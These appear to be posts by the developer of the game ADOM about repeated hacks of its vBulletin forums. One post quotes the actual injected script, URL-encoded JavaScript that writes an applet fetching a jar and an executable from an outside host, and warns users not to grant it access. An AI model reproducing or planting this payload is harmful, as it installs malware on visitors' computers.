As reported this morning the ADOM forums once more fell victim to some hacker attack. For now it seems that all effects have been removed. If you want to be 100% sure that nothing bad can happen to your account, you might want to change your password. No signs of database manipulation could be found but just to be on the safe side this might be a good idea.

The forum software has been updated and luckily this time the issue tracker did no break, so everything should be find. If you notice anything unusual please let me know and I'll try to take care of it as soon as possible.

Now back to routine... I'm looking forward to the feedback and bug reports concerning the latest release!

Very bad start for the new idea: It seems that www.adom.de/forums (at least) got hacked once more. When I entered the site this morning an applet asked for permission to do "something" on my local computer. There seems to have been code injected into the forum software (once again), here's the piece of code responsible for the problem on the page itself:

<script language=JavaScript>m='%3Capplet%20name%3D%27Please%20Run%20To%20Continue%20%271%27%20height%3D%271%27%20code%3D%27taipans.class%27%20archive%3D%27http%3A//son1c.de/pferd/news/fud.jar%27%3E%3Cparam%20name%3D%22funtime%22%20%0A%0Avalue%3D%22http%3A//son1c.de/pferd/news/p.exe%22%3E%3C/applet%3E';d=unescape(m);document.write(d);</script> 


Naturally you never should allow that access. Please be careful and refrain from using the forums for now until we know better what has happened. Needless to say that this once more is a major setback for me as it took days and days last time to sort that stuff out and I fear for the worst :-(


Needless to say that many thoughts of exterminating those f**** hackers currently are crossing my mind.

And yet another hole found, data destroyed, files damaged and the forums down again. I wish I'd be able to get my hands on this cowardly hacker freak... he'd suffer some real pain :-(

I'm not sure when (or if) things will be back up soon - I'll make one more attempt to save stuff tonight but I'm slowly getting tired of reinstallating the forums. And reconfiguring them... which really is a pain in the ass with vBulletin due to the immense amount of features... configuring those just takes too long.

Oh well, dark times for ADOM and JADE. So much time and energy lost...
